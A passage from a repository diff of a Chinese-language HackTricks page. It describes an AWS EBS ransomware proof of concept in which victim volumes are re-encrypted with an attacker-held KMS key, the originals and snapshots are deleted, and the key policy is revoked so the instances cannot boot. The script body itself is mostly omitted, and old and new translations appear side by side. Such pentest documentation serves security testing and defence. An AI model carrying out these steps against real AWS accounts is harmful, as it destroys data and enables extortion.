结果是账户中只剩下加密的 EBS 卷可用。
|
||||
|
||||
|
||||
|
||||
值得注意的是，脚本停止了 EC2 实例以分离并删除原始 EBS 卷。原始未加密的卷现在已经不存在了。
|
||||
另外值得注意的是，脚本停止了 EC2 实例以分离并删除原始 EBS 卷。原始未加密卷现在已被删除。
|
||||
|
||||
|
||||
|
||||
接下来，回到 'attacker' 账户的密钥策略中，从密钥策略中移除 'Outside Encryption' 策略规则。
|
||||
接下来，回到“攻击者”帐户中的密钥策略，并从密钥策略中移除 'Outside Encryption' 策略规则。
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -494,15 +499,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
等一会儿，等待新设置的密钥策略生效。然后返回到 'victim' 账户并尝试附加一个新加密的 EBS 卷。你会发现可以附加该卷。
|
||||
稍等片刻，等待新设置的密钥策略传播生效。然后返回到 '受害者' 账户并尝试附加其中一个新加密的 EBS 卷。你会发现可以附加该卷。
|
||||
|
||||
 
|
||||
|
||||
但是，当你尝试用该已加密的 EBS 卷实际启动 EC2 实例时，它会失败，并从 'pending' 状态一直回到 'stopped' 状态，因为所附的 EBS 卷无法使用该密钥解密，原因是密钥策略不再允许。
|
||||
但是当你尝试实际启动带有该加密 EBS 卷的 EC2 实例时，它会失败并且从 'pending' 状态一直回到 'stopped' 状态，因为所附加的 EBS 卷无法使用该密钥解密，而密钥策略已不再允许。
|
||||
|
||||
 
|
||||
|
||||
下面是所使用的 python 脚本。它接受针对 'victim' 账户的 AWS creds 和用于加密的公开可用 AWS ARN 值。脚本会对目标 AWS 账户中所有 EC2 实例所挂载的所有可用 EBS 卷制作加密副本，然后停止每台 EC2 实例，分离原始 EBS 卷并删除它们，最后删除过程中使用的所有 snapshots。这样目标 'victim' 账户中将只剩下加密的 EBS 卷。仅在测试环境中使用该脚本，因其具有破坏性，会删除所有原始 EBS 卷。你可以使用所使用的 KMS key 通过 snapshots 恢复它们并还原到原始状态，但需要提醒的是，这归根结底是一个 ransomware PoC。
|
||||
这是所使用的 python script。它接受用于 '受害者' 账户的 AWS creds 和一个公开可用的 AWS ARN 值作为用于加密的密钥。该脚本会为目标 AWS 账户中附加到所有 EC2 实例的所有可用 EBS 卷制作加密副本，然后停止每个 EC2 实例，分离原始 EBS 卷，删除它们，最后删除过程中使用的所有快照。这样目标 '受害者' 账户中将只剩下加密的 EBS 卷。ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. 你可以使用所用的 KMS key 通过快照恢复它们并将其还原到原始状态，但我要提醒你，这归根结底是一个 ransomware PoC。
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -621,8 +626,10 @@ main()
|
||||
```
|
||||
## 参考资料
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- <https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs>
|
||||
- [Latacora - ECS on EC2: 弥补 IMDS 加固中的缺口](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform 仓库](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – 如何使用 SSM 在 AWS 中传输文件](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user